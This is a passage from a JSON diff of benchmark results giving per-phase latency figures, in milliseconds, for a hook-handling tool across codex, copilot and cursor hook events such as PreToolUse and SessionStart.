"configLoad": [ + 0.53, + 0.59, + 0.6 + ], + "evaluate": [ + 0.16, + 0.18, + 0.18 + ], + "encode": [ + 0.25, + 0.27, + 0.29 + ], + "other": [ + 3.71, + 4.35, + 4.41 + ], + "e2e": [ + 65.44, + 69.68, + 76.67 + ] + }, + "e2eMean": 65.82, + "e2eStddev": 2.89, + "e2eMin": 60.23, + "e2eMax": 76.67 + }, + "codex|StopFailure": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 60.85, + 64.64, + 65.74 + ], + "configLoad": [ + 0.53, + 0.56, + 0.58 + ], + "evaluate": [ + 0.16, + 0.17, + 0.18 + ], + "encode": [ + 0.25, + 0.26, + 0.27 + ], + "other": [ + 3.73, + 4.27, + 4.44 + ], + "e2e": [ + 65.54, + 69.77, + 70.74 + ] + }, + "e2eMean": 65.42, + "e2eStddev": 2.53, + "e2eMin": 60.28, + "e2eMax": 70.74 + }, + "codex|TeammateIdle": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 60.46, + 64.83, + 69.16 + ], + "configLoad": [ + 0.52, + 0.57, + 3.78 + ], + "evaluate": [ + 0.16, + 0.17, + 0.18 + ], + "encode": [ + 0.25, + 0.26, + 0.29 + ], + "other": [ + 3.74, + 4.15, + 4.28 + ], + "e2e": [ + 65.23, + 68.92, + 74.06 + ] + }, + "e2eMean": 65.01, + "e2eStddev": 2.79, + "e2eMin": 58.11, + "e2eMax": 74.06 + }, + "codex|InstructionsLoaded": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 60.58, + 64.8, + 67.84 + ], + "configLoad": [ + 0.52, + 0.57, + 0.59 + ], + "evaluate": [ + 0.16, + 0.18, + 0.19 + ], + "encode": [ + 0.25, + 0.26, + 0.27 + ], + "other": [ + 3.42, + 4.12, + 4.21 + ], + "e2e": [ + 65.36, + 69.12, + 72.11 + ] + }, + "e2eMean": 65.26, + "e2eStddev": 2.62, + "e2eMin": 60.95, + "e2eMax": 72.11 + }, + "codex|ConfigChange": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 60.11, + 65.44, + 68.14 + ], + "configLoad": [ + 0.52, + 0.56, + 0.91 + ], + "evaluate": [ + 0.16, + 0.18, + 0.2 + ], + "encode": [ + 0.25, + 0.27, + 0.29 + ], + "other": [ + 3.59, + 4.16, + 4.35 + ], + "e2e": [ + 64.73, + 69.97, + 72.51 + ] + }, + "e2eMean": 65.03, + "e2eStddev": 2.85, + "e2eMin": 60.46, + "e2eMax": 72.51 + }, + "codex|CwdChanged": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 60.66, + 65.28, + 67.2 + ], + "configLoad": [ + 0.53, + 0.56, + 0.97 + ], + "evaluate": [ + 0.16, + 0.2, + 0.28 + ], + "encode": [ + 0.25, + 0.27, + 0.41 + ], + "other": [ + 3.67, + 4.21, + 4.41 + ], + "e2e": [ + 64.92, + 70.11, + 73.07 + ] + }, + "e2eMean": 65.12, + "e2eStddev": 2.88, + "e2eMin": 59.48, + "e2eMax": 73.07 + }, + "codex|FileChanged": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 60.56, + 64.24, + 65.42 + ], + "configLoad": [ + 0.52, + 0.55, + 0.58 + ], + "evaluate": [ + 0.16, + 0.17, + 0.18 + ], + "encode": [ + 0.25, + 0.26, + 0.27 + ], + "other": [ + 3.87, + 4.23, + 4.24 + ], + "e2e": [ + 65.59, + 69.06, + 70.09 + ] + }, + "e2eMean": 65.46, + "e2eStddev": 2.49, + "e2eMin": 58.87, + "e2eMax": 70.09 + }, + "codex|WorktreeCreate": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 59.67, + 63.88, + 64.67 + ], + "configLoad": [ + 0.52, + 0.58, + 0.61 + ], + "evaluate": [ + 0.16, + 0.18, + 0.19 + ], + "encode": [ + 0.25, + 0.27, + 0.28 + ], + "other": [ + 3.52, + 4.28, + 4.35 + ], + "e2e": [ + 64.37, + 68.82, + 69.18 + ] + }, + "e2eMean": 64.48, + "e2eStddev": 2.33, + "e2eMin": 60.27, + "e2eMax": 69.18 + }, + "codex|WorktreeRemove": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 59.58, + 65.47, + 67.58 + ], + "configLoad": [ + 0.53, + 0.56, + 0.7 + ], + "evaluate": [ + 0.16, + 0.18, + 0.19 + ], + "encode": [ + 0.25, + 0.28, + 0.28 + ], + "other": [ + 3.74, + 4.17, + 4.26 + ], + "e2e": [ + 64.61, + 70.25, + 71.38 + ] + }, + "e2eMean": 64.8, + "e2eStddev": 2.56, + "e2eMin": 60.81, + "e2eMax": 71.38 + }, + "codex|PreCompact": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 59.93, + 64.48, + 66.33 + ], + "configLoad": [ + 0.52, + 0.57, + 0.74 + ], + "evaluate": [ + 0.16, + 0.18, + 0.2 + ], + "encode": [ + 0.24, + 0.26, + 0.27 + ], + "other": [ + 3.62, + 4.26, + 4.32 + ], + "e2e": [ + 64.55, + 68.95, + 71.57 + ] + }, + "e2eMean": 64.52, + "e2eStddev": 2.8, + "e2eMin": 59.49, + "e2eMax": 71.57 + }, + "codex|PostCompact": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 60.03, + 65.34, + 76.41 + ], + "configLoad": [ + 0.52, + 0.56, + 0.58 + ], + "evaluate": [ + 0.16, + 0.18, + 0.18 + ], + "encode": [ + 0.25, + 0.27, + 0.28 + ], + "other": [ + 3.69, + 4.22, + 4.36 + ], + "e2e": [ + 65.25, + 70.35, + 80.71 + ] + }, + "e2eMean": 65.66, + "e2eStddev": 3.29, + "e2eMin": 61.08, + "e2eMax": 80.71 + }, + "codex|Elicitation": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 59.64, + 64.42, + 66.43 + ], + "configLoad": [ + 0.52, + 0.58, + 0.66 + ], + "evaluate": [ + 0.16, + 0.18, + 0.18 + ], + "encode": [ + 0.24, + 0.26, + 0.29 + ], + "other": [ + 3.52, + 4.09, + 4.25 + ], + "e2e": [ + 63.99, + 68.76, + 70.88 + ] + }, + "e2eMean": 64.42, + "e2eStddev": 2.72, + "e2eMin": 59.49, + "e2eMax": 70.88 + }, + "codex|ElicitationResult": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 59.91, + 64.46, + 65.56 + ], + "configLoad": [ + 0.52, + 0.55, + 0.64 + ], + "evaluate": [ + 0.16, + 0.18, + 0.18 + ], + "encode": [ + 0.25, + 0.27, + 0.27 + ], + "other": [ + 3.67, + 4.16, + 4.23 + ], + "e2e": [ + 64.56, + 69.35, + 70.22 + ] + }, + "e2eMean": 64.67, + "e2eStddev": 2.4, + "e2eMin": 59.52, + "e2eMax": 70.22 + }, + "codex|UserPromptExpansion": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 61.22, + 68.74, + 71.78 + ], + "configLoad": [ + 0.52, + 0.55, + 0.97 + ], + "evaluate": [ + 0.16, + 0.18, + 0.29 + ], + "encode": [ + 0.25, + 0.27, + 0.4 + ], + "other": [ + 3.67, + 4.16, + 4.23 + ], + "e2e": [ + 65.74, + 73.47, + 76.33 + ] + }, + "e2eMean": 66.21, + "e2eStddev": 3.43, + "e2eMin": 60.17, + "e2eMax": 76.33 + }, + "codex|PostToolBatch": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 60.55, + 63.5, + 64.49 + ], + "configLoad": [ + 0.52, + 0.54, + 0.56 + ], + "evaluate": [ + 0.16, + 0.18, + 0.18 + ], + "encode": [ + 0.24, + 0.26, + 0.28 + ], + "other": [ + 3.53, + 4.11, + 4.14 + ], + "e2e": [ + 64.92, + 67.79, + 69.38 + ] + }, + "e2eMean": 64.47, + "e2eStddev": 2.35, + "e2eMin": 60.13, + "e2eMax": 69.38 + }, + "codex|Setup": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 59.92, + 64.31, + 69.55 + ], + "configLoad": [ + 0.52, + 0.56, + 0.56 + ], + "evaluate": [ + 0.16, + 0.18, + 0.19 + ], + "encode": [ + 0.25, + 0.26, + 0.27 + ], + "other": [ + 3.33, + 4.12, + 4.22 + ], + "e2e": [ + 64.43, + 69.24, + 73.7 + ] + }, + "e2eMean": 64.44, + "e2eStddev": 2.85, + "e2eMin": 59.2, + "e2eMax": 73.7 + }, + "copilot|SessionStart": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 59.91, + 63.58, + 65.35 + ], + "configLoad": [ + 0.53, + 0.57, + 0.6 + ], + "evaluate": [ + 0.16, + 0.18, + 0.19 + ], + "encode": [ + 0.24, + 0.27, + 0.28 + ], + "other": [ + 3.22, + 4, + 4.15 + ], + "e2e": [ + 64.04, + 68.25, + 70.29 + ] + }, + "e2eMean": 64.25, + "e2eStddev": 2.46, + "e2eMin": 59.13, + "e2eMax": 70.29 + }, + "copilot|SessionEnd": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 59.41, + 63.94, + 64.62 + ], + "configLoad": [ + 0.53, + 0.6, + 0.77 + ], + "evaluate": [ + 0.16, + 0.19, + 0.24 + ], + "encode": [ + 0.24, + 0.27, + 0.38 + ], + "other": [ + 3.47, + 3.93, + 3.96 + ], + "e2e": [ + 64, + 68.45, + 69.18 + ] + }, + "e2eMean": 64.2, + "e2eStddev": 2.55, + "e2eMin": 59.02, + "e2eMax": 69.18 + }, + "copilot|UserPromptSubmit": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 60.67, + 63.98, + 65.29 + ], + "configLoad": [ + 0.53, + 0.59, + 0.62 + ], + "evaluate": [ + 0.16, + 0.19, + 0.2 + ], + "encode": [ + 0.25, + 0.26, + 0.27 + ], + "other": [ + 3.4, + 3.88, + 3.96 + ], + "e2e": [ + 64.9, + 68.59, + 69.67 + ] + }, + "e2eMean": 64.65, + "e2eStddev": 2.51, + "e2eMin": 59.45, + "e2eMax": 69.67 + }, + "copilot|PreToolUse": { + "n": 50, + "matched": 6, + "customHooks": 0, + "phases": { + "spawn": [ + 60.81, + 68.96, + 71.63 + ], + "configLoad": [ + 0.54, + 0.57, + 0.58 + ], + "evaluate": [ + 1.05, + 1.12, + 1.25 + ], + "encode": [ + 0.26, + 0.27, + 0.31 + ], + "other": [ + 3.4, + 3.84, + 4.1 + ], + "e2e": [ + 66.04, + 74.27, + 76.55 + ] + }, + "e2eMean": 66.52, + "e2eStddev": 3.35, + "e2eMin": 60.33, + "e2eMax": 76.55 + }, + "copilot|PermissionRequest": { + "n": 50, + "matched": 1, + "customHooks": 0, + "phases": { + "spawn": [ + 59.45, + 64.24, + 65.05 + ], + "configLoad": [ + 0.54, + 0.59, + 0.59 + ], + "evaluate": [ + 0.31, + 0.32, + 0.33 + ], + "encode": [ + 0.25, + 0.28, + 0.3 + ], + "other": [ + 3.36, + 3.89, + 4.01 + ], + "e2e": [ + 64.21, + 68.61, + 69.49 + ] + }, + "e2eMean": 64.2, + "e2eStddev": 2.6, + "e2eMin": 59.98, + "e2eMax": 69.49 + }, + "copilot|PermissionDenied": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 60.28, + 64.96, + 66.76 + ], + "configLoad": [ + 0.53, + 0.57, + 0.58 + ], + "evaluate": [ + 0.16, + 0.18, + 0.18 + ], + "encode": [ + 0.24, + 0.26, + 0.27 + ], + "other": [ + 3.52, + 3.92, + 4.15 + ], + "e2e": [ + 64.57, + 69.62, + 71.35 + ] + }, + "e2eMean": 64.84, + "e2eStddev": 2.63, + "e2eMin": 60.1, + "e2eMax": 71.35 + }, + "copilot|PostToolUse": { + "n": 50, + "matched": 5, + "customHooks": 0, + "phases": { + "spawn": [ + 58.63, + 63.98, + 64.74 + ], + "configLoad": [ + 0.54, + 0.56, + 0.58 + ], + "evaluate": [ + 0.57, + 0.59, + 0.59 + ], + "encode": [ + 0.26, + 0.28, + 0.29 + ], + "other": [ + 3.33, + 3.81, + 4.03 + ], + "e2e": [ + 63.28, + 69.16, + 69.69 + ] + }, + "e2eMean": 64.18, + "e2eStddev": 2.6, + "e2eMin": 60.22, + "e2eMax": 69.69 + }, + "copilot|PostToolUseFailure": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 60.25, + 64.2, + 66.16 + ], + "configLoad": [ + 0.53, + 0.57, + 0.63 + ], + "evaluate": [ + 0.16, + 0.17, + 0.17 + ], + "encode": [ + 0.24, + 0.26, + 0.27 + ], + "other": [ + 3.14, + 3.81, + 4.05 + ], + "e2e": [ + 64.3, + 69.05, + 69.82 + ] + }, + "e2eMean": 64.39, + "e2eStddev": 2.79, + "e2eMin": 59.7, + "e2eMax": 69.82 + }, + "copilot|Notification": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 60.36, + 64.75, + 65.75 + ], + "configLoad": [ + 0.53, + 0.58, + 0.6 + ], + "evaluate": [ + 0.16, + 0.18, + 0.18 + ], + "encode": [ + 0.25, + 0.27, + 0.27 + ], + "other": [ + 3.47, + 3.89, + 3.94 + ], + "e2e": [ + 64.77, + 69.05, + 70.15 + ] + }, + "e2eMean": 64.77, + "e2eStddev": 2.88, + "e2eMin": 59.39, + "e2eMax": 70.15 + }, + "copilot|SubagentStart": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 61.08, + 64.33, + 69.41 + ], + "configLoad": [ + 0.54, + 0.59, + 0.62 + ], + "evaluate": [ + 0.16, + 0.18, + 0.19 + ], + "encode": [ + 0.25, + 0.26, + 0.27 + ], + "other": [ + 3.57, + 3.89, + 4.01 + ], + "e2e": [ + 65.56, + 68.88, + 74.14 + ] + }, + "e2eMean": 65.45, + "e2eStddev": 2.75, + "e2eMin": 58.88, + "e2eMax": 74.14 + }, + "copilot|SubagentStop": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 60.48, + 65.09, + 67.32 + ], + "configLoad": [ + 0.54, + 0.57, + 0.59 + ], + "evaluate": [ + 0.16, + 0.18, + 0.19 + ], + "encode": [ + 0.25, + 0.26, + 0.27 + ], + "other": [ + 3.4, + 3.81, + 4.01 + ], + "e2e": [ + 64.85, + 69.45, + 71.98 + ] + }, + "e2eMean": 64.9, + "e2eStddev": 2.42, + "e2eMin": 60.43, + "e2eMax": 71.98 + }, + "copilot|TaskCreated": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 61, + 65.68, + 67.65 + ], + "configLoad": [ + 0.54, + 0.58, + 0.6 + ], + "evaluate": [ + 0.16, + 0.18, + 0.18 + ], + "encode": [ + 0.24, + 0.26, + 0.27 + ], + "other": [ + 3.39, + 3.83, + 4.04 + ], + "e2e": [ + 65.53, + 70.35, + 71.98 + ] + }, + "e2eMean": 65.27, + "e2eStddev": 3.05, + "e2eMin": 58.85, + "e2eMax": 71.98 + }, + "copilot|TaskCompleted": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 59.91, + 63.91, + 65.94 + ], + "configLoad": [ + 0.53, + 0.58, + 0.58 + ], + "evaluate": [ + 0.16, + 0.18, + 0.19 + ], + "encode": [ + 0.24, + 0.26, + 0.27 + ], + "other": [ + 3.57, + 3.96, + 4.13 + ], + "e2e": [ + 64.26, + 68.31, + 70.31 + ] + }, + "e2eMean": 64.63, + "e2eStddev": 2.4, + "e2eMin": 59.45, + "e2eMax": 70.31 + }, + "copilot|Stop": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 60.57, + 64.73, + 65.75 + ], + "configLoad": [ + 0.53, + 0.56, + 0.6 + ], + "evaluate": [ + 0.16, + 0.18, + 0.18 + ], + "encode": [ + 0.25, + 0.26, + 0.26 + ], + "other": [ + 3.41, + 3.91, + 3.95 + ], + "e2e": [ + 65.24, + 68.81, + 70.14 + ] + }, + "e2eMean": 65.19, + "e2eStddev": 2.61, + "e2eMin": 59.24, + "e2eMax": 70.14 + }, + "copilot|StopFailure": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 60.84, + 65.61, + 66.9 + ], + "configLoad": [ + 0.54, + 0.56, + 0.6 + ], + "evaluate": [ + 0.16, + 0.18, + 0.19 + ], + "encode": [ + 0.24, + 0.26, + 0.28 + ], + "other": [ + 3.29, + 3.77, + 3.95 + ], + "e2e": [ + 65.02, + 70.33, + 70.82 + ] + }, + "e2eMean": 64.84, + "e2eStddev": 2.77, + "e2eMin": 59.84, + "e2eMax": 70.82 + }, + "copilot|TeammateIdle": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 61.08, + 66.28, + 69.59 + ], + "configLoad": [ + 0.54, + 0.57, + 0.59 + ], + "evaluate": [ + 0.16, + 0.17, + 0.17 + ], + "encode": [ + 0.25, + 0.27, + 0.29 + ], + "other": [ + 3.36, + 3.89, + 4 + ], + "e2e": [ + 65.45, + 70.52, + 73.82 + ] + }, + "e2eMean": 65.66, + "e2eStddev": 2.79, + "e2eMin": 60.24, + "e2eMax": 73.82 + }, + "copilot|InstructionsLoaded": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 61.12, + 64.97, + 66.66 + ], + "configLoad": [ + 0.53, + 0.57, + 0.59 + ], + "evaluate": [ + 0.16, + 0.19, + 0.2 + ], + "encode": [ + 0.25, + 0.26, + 0.27 + ], + "other": [ + 3.36, + 3.94, + 3.98 + ], + "e2e": [ + 65.55, + 69.27, + 71.11 + ] + }, + "e2eMean": 65.1, + "e2eStddev": 2.83, + "e2eMin": 58.88, + "e2eMax": 71.11 + }, + "copilot|ConfigChange": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 60.41, + 64.34, + 65.43 + ], + "configLoad": [ + 0.53, + 0.59, + 0.59 + ], + "evaluate": [ + 0.16, + 0.18, + 0.19 + ], + "encode": [ + 0.25, + 0.26, + 0.27 + ], + "other": [ + 3.34, + 3.84, + 4.1 + ], + "e2e": [ + 64.85, + 68.27, + 70.07 + ] + }, + "e2eMean": 64.71, + "e2eStddev": 2.55, + "e2eMin": 59.75, + "e2eMax": 70.07 + }, + "copilot|CwdChanged": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 60.56, + 64.71, + 67.75 + ], + "configLoad": [ + 0.53, + 0.57, + 0.68 + ], + "evaluate": [ + 0.16, + 0.17, + 0.2 + ], + "encode": [ + 0.24, + 0.26, + 0.27 + ], + "other": [ + 3.47, + 3.93, + 4.09 + ], + "e2e": [ + 64.99, + 69.08, + 72.31 + ] + }, + "e2eMean": 64.93, + "e2eStddev": 2.71, + "e2eMin": 60.3, + "e2eMax": 72.31 + }, + "copilot|FileChanged": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 59.98, + 64.75, + 66.44 + ], + "configLoad": [ + 0.54, + 0.56, + 0.58 + ], + "evaluate": [ + 0.16, + 0.18, + 0.18 + ], + "encode": [ + 0.24, + 0.26, + 0.28 + ], + "other": [ + 3.35, + 3.8, + 4.06 + ], + "e2e": [ + 64.08, + 68.91, + 70.66 + ] + }, + "e2eMean": 64.67, + "e2eStddev": 2.4, + "e2eMin": 60.67, + "e2eMax": 70.66 + }, + "copilot|WorktreeCreate": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 59.98, + 64.86, + 66.23 + ], + "configLoad": [ + 0.53, + 0.58, + 1.02 + ], + "evaluate": [ + 0.16, + 0.18, + 0.28 + ], + "encode": [ + 0.25, + 0.27, + 0.4 + ], + "other": [ + 3.25, + 4.03, + 4.16 + ], + "e2e": [ + 64.54, + 69.33, + 70.57 + ] + }, + "e2eMean": 64.84, + "e2eStddev": 3.06, + "e2eMin": 59.44, + "e2eMax": 70.57 + }, + "copilot|WorktreeRemove": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 60.49, + 67.23, + 71.28 + ], + "configLoad": [ + 0.53, + 0.56, + 0.58 + ], + "evaluate": [ + 0.16, + 0.17, + 0.24 + ], + "encode": [ + 0.25, + 0.27, + 0.27 + ], + "other": [ + 3.34, + 3.84, + 3.96 + ], + "e2e": [ + 64.88, + 71.03, + 75.67 + ] + }, + "e2eMean": 65.26, + "e2eStddev": 3.34, + "e2eMin": 60.3, + "e2eMax": 75.67 + }, + "copilot|PreCompact": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 60.36, + 64.85, + 65.48 + ], + "configLoad": [ + 0.53, + 0.56, + 0.61 + ], + "evaluate": [ + 0.16, + 0.18, + 0.22 + ], + "encode": [ + 0.24, + 0.26, + 0.29 + ], + "other": [ + 3.52, + 3.95, + 4.1 + ], + "e2e": [ + 64.6, + 69.46, + 69.68 + ] + }, + "e2eMean": 64.96, + "e2eStddev": 2.5, + "e2eMin": 59.96, + "e2eMax": 69.68 + }, + "copilot|PostCompact": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 60.18, + 65.17, + 71.17 + ], + "configLoad": [ + 0.53, + 0.57, + 1 + ], + "evaluate": [ + 0.16, + 0.18, + 0.28 + ], + "encode": [ + 0.25, + 0.27, + 0.43 + ], + "other": [ + 3.36, + 3.78, + 3.98 + ], + "e2e": [ + 64.45, + 69.75, + 76.42 + ] + }, + "e2eMean": 64.87, + "e2eStddev": 2.89, + "e2eMin": 59.92, + "e2eMax": 76.42 + }, + "copilot|Elicitation": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 60.94, + 65.53, + 67.13 + ], + "configLoad": [ + 0.54, + 0.59, + 1 + ], + "evaluate": [ + 0.16, + 0.18, + 0.29 + ], + "encode": [ + 0.24, + 0.26, + 0.39 + ], + "other": [ + 3.39, + 4, + 4.19 + ], + "e2e": [ + 65.17, + 69.89, + 71.58 + ] + }, + "e2eMean": 65.11, + "e2eStddev": 2.98, + "e2eMin": 60.11, + "e2eMax": 71.58 + }, + "copilot|ElicitationResult": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 60.83, + 66.29, + 69.07 + ], + "configLoad": [ + 0.53, + 0.6, + 1.01 + ], + "evaluate": [ + 0.16, + 0.18, + 0.28 + ], + "encode": [ + 0.24, + 0.27, + 0.4 + ], + "other": [ + 3.33, + 3.85, + 4.22 + ], + "e2e": [ + 65.38, + 70.93, + 72.55 + ] + }, + "e2eMean": 65.41, + "e2eStddev": 3.14, + "e2eMin": 59.41, + "e2eMax": 72.55 + }, + "copilot|UserPromptExpansion": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 60.09, + 64.67, + 69.58 + ], + "configLoad": [ + 0.53, + 0.61, + 0.72 + ], + "evaluate": [ + 0.16, + 0.18, + 0.19 + ], + "encode": [ + 0.24, + 0.27, + 0.27 + ], + "other": [ + 3.32, + 3.89, + 4.1 + ], + "e2e": [ + 64.29, + 69.18, + 74.42 + ] + }, + "e2eMean": 64.82, + "e2eStddev": 2.79, + "e2eMin": 60.37, + "e2eMax": 74.42 + }, + "copilot|PostToolBatch": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 60.07, + 64.1, + 66.06 + ], + "configLoad": [ + 0.53, + 0.58, + 1 + ], + "evaluate": [ + 0.16, + 0.18, + 0.28 + ], + "encode": [ + 0.25, + 0.26, + 0.4 + ], + "other": [ + 3.46, + 4.05, + 4.35 + ], + "e2e": [ + 64.48, + 68.63, + 69.94 + ] + }, + "e2eMean": 64.58, + "e2eStddev": 2.38, + "e2eMin": 59.85, + "e2eMax": 69.94 + }, + "copilot|Setup": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 60.03, + 64.41, + 67.93 + ], + "configLoad": [ + 0.53, + 0.57, + 0.71 + ], + "evaluate": [ + 0.16, + 0.17, + 0.18 + ], + "encode": [ + 0.24, + 0.27, + 0.27 + ], + "other": [ + 3.3, + 4.09, + 4.16 + ], + "e2e": [ + 64.5, + 69.02, + 72 + ] + }, + "e2eMean": 64.35, + "e2eStddev": 2.58, + "e2eMin": 59.04, + "e2eMax": 72 + }, + "cursor|SessionStart": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 60.2, + 66.65, + 74.59 + ], + "configLoad": [ + 0.54, + 0.58, + 0.68 + ], + "evaluate": [ + 0.16, + 0.19, + 0.21 + ], + "encode": [ + 0.24, + 0.26, + 0.32 + ], + "other": [ + 3.32, + 3.86, + 4.15 + ], + "e2e": [ + 64.68, + 70.55, + 79.01 + ] + }, + "e2eMean": 65.13, + "e2eStddev": 3.35, + "e2eMin": 60.02, + "e2eMax": 79.01 + }, + "cursor|SessionEnd": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 60.48, + 64.63, + 64.76 + ], + "configLoad": [ + 0.54, + 0.58, + 0.6 + ], + "evaluate": [ + 0.16, + 0.18, + 0.18 + ], + "encode": [ + 0.25, + 0.28, + 0.29 + ], + "other": [ + 3.2, + 3.94, + 3.97 + ], + "e2e": [ + 64.54, + 68.88, + 69.59 + ] + }, + "e2eMean": 64.89, + "e2eStddev": 2.4, + "e2eMin": 61.05, + "e2eMax": 69.59 + }, + "cursor|UserPromptSubmit": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 60.9, + 64.54, + 66.73 + ], + "configLoad": [ + 0.53, + 0.57, + 0.58 + ], + "evaluate": [ + 0.16, + 0.18, + 0.19 + ], + "encode": [ + 0.25, + 0.26, + 0.27 + ], + "other": [ + 3.51, + 3.93, + 4 + ], + "e2e": [ + 65.29, + 68.61, + 70.91 + ] + }, + "e2eMean": 65.3, + "e2eStddev": 2.22, + "e2eMin": 60.31, + "e2eMax": 70.91 + }, + "cursor|PreToolUse": { + "n": 50, + "matched": 6, + "customHooks": 0, + "phases": { + "spawn": [ + 60.16, + 63.49, + 65.63 + ], + "configLoad": [ + 0.53, + 0.56, + 0.81 + ], + "evaluate": [ + 1.05, + 1.09, + 1.4 + ], + "encode": [ + 0.25, + 0.27, + 0.42 + ], + "other": [ + 3.33, + 3.91, + 4.03 + ], + "e2e": [ + 65.53, + 69.15, + 71.15 + ] + }, + "e2eMean": 65.32, + "e2eStddev": 2.65, + "e2eMin": 60.52, + "e2eMax": 71.15 + }, + "cursor|PermissionRequest": { + "n": 50, + "matched": 1, + "customHooks": 0, + "phases": { + "spawn": [ + 60.23, + 64.08, + 65.81 + ], + "configLoad": [ + 0.53, + 0.57, + 0.57 + ], + "evaluate": [ + 0.31, + 0.35, + 0.43 + ], + "encode": [ + 0.25, + 0.28, + 0.28 + ], + "other": [ + 3.33, + 3.91, + 4.02 + ], + "e2e": [ + 64.64, + 68.85, + 70.32 + ] + }, + "e2eMean": 64.62, + "e2eStddev": 2.83, + "e2eMin": 59.36, + "e2eMax": 70.32 + }, + "cursor|PermissionDenied": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 61.06, + 65.28, + 66.18 + ], + "configLoad": [ + 0.53, + 0.56, + 0.67 + ], + "evaluate": [ + 0.16, + 0.18, + 0.19 + ], + "encode": [ + 0.24, + 0.28, + 0.29 + ], + "other": [ + 3.24, + 3.76, + 3.91 + ], + "e2e": [ + 65.26, + 69.61, + 70.88 + ] + }, + "e2eMean": 65.15, + "e2eStddev": 2.92, + "e2eMin": 58.6, + "e2eMax": 70.88 + }, + "cursor|PostToolUse": { + "n": 50, + "matched": 5, + "customHooks": 0, + "phases": { + "spawn": [ + 59.67, + 65.96, + 67.44 + ], + "configLoad": [ + 0.53, + 0.59, + 0.72 + ], + "evaluate": [ + 0.56, + 0.58, + 0.61 + ], + "encode": [ + 0.25, + 0.29, + 0.3 + ], + "other": [ + 3.38, + 3.87, + 3.98 + ], + "e2e": [ + 64.62, + 70.96, + 72.62 + ] + }, + "e2eMean": 64.94, + "e2eStddev": 3.1, + "e2eMin": 60.03, + "e2eMax": 72.62 + }, + "cursor|PostToolUseFailure": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 60.18, + 65.41, + 72.69 + ], + "configLoad": [ + 0.53, + 0.58, + 0.6 + ], + "evaluate": [ + 0.16, + 0.18, + 0.18 + ], + "encode": [ + 0.24, + 0.26, + 0.27 + ], + "other": [ + 3.43, + 3.95, + 4.03 + ], + "e2e": [ + 64.26, + 70.36, + 76.35 + ] + }, + "e2eMean": 64.63, + "e2eStddev": 3.26, + "e2eMin": 59.34, + "e2eMax": 76.35 + }, + "cursor|Notification": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 60.38, + 67.65, + 72.14 + ], + "configLoad": [ + 0.53, + 0.56, + 0.61 + ], + "evaluate": [ + 0.16, + 0.18, + 0.19 + ], + "encode": [ + 0.24, + 0.26, + 0.28 + ], + "other": [ + 3.32, + 3.95, + 4.1 + ], + "e2e": [ + 65.02, + 71.92, + 76.43 + ] + }, + "e2eMean": 65.24, + "e2eStddev": 3.43, + "e2eMin": 59.32, + "e2eMax": 76.43 + }, + "cursor|SubagentStart": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 60.29, + 63.85, + 67.18 + ], + "configLoad": [ + 0.53, + 0.59, + 0.62 + ], + "evaluate": [ + 0.16, + 0.19, + 0.21 + ], + 